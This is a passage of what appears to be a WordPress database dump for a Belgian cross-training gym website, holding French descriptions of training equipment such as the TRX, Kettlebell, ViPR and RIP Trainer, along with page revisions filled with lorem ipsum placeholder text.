class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'publish', 'closed', 'open', '', 'le-cross-training', '', '', '2013-11-03 10:12:44', '2013-11-03 10:12:44', '', 0, 'http://www.crosstrainingcenter.be/?page_id=22', 0, 'page', '', 0),
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(29, 1, '2013-05-23 19:28:51', '2013-05-23 19:28:51', '&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-05-23 19:28:51', '2013-05-23 19:28:51', '', 11, 'http://www.crosstrainingcenter.be/?p=29', 0, 'revision', '', 0),
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Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-05-23 19:28:51', '2013-05-23 19:28:51', '', 5, 'http://www.crosstrainingcenter.be/?p=30', 0, 'revision', '', 0),
(32, 1, '2013-07-10 16:11:47', '2013-07-10 16:11:47', '&lt;blockquote&gt;\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\n&lt;/blockquote&gt;\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\n&lt;h2&gt;&lt;/h2&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;ViPR&lt;/h1&gt;\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-autosave-v1', '', '', '2013-07-10 16:11:47', '2013-07-10 16:11:47', '', 22, 'http://www.crosstrainingcenter.be/?p=32', 0, 'revision', '', 0),
(31, 1, '2013-05-24 14:36:30', '2013-05-24 14:36:30', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nblablabla', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-05-24 14:36:30', '2013-05-24 14:36:30', '', 9, 'http://www.crosstrainingcenter.be/?p=31', 0, 'revision', '', 0),
(40, 1, '2013-06-16 08:02:41', '2013-06-16 08:02:41', '« Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines. Afin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;b&gt;TRX Suspension Training &lt;/b&gt;&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;&lt;b&gt;Kettlebel&lt;/b&gt;&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;&lt;b&gt;ViPR&lt;/b&gt;&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;&lt;b&gt;RIP TRAINER&lt;/b&gt;&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 08:02:41', '2013-06-16 08:02:41', '', 22, 'http://www.crosstrainingcenter.be/?p=40', 0, 'revision', '', 0),
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Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-05-24 14:36:30', '2013-05-24 14:36:30', '', 5, 'http://www.crosstrainingcenter.be/?p=34', 0, 'revision', '', 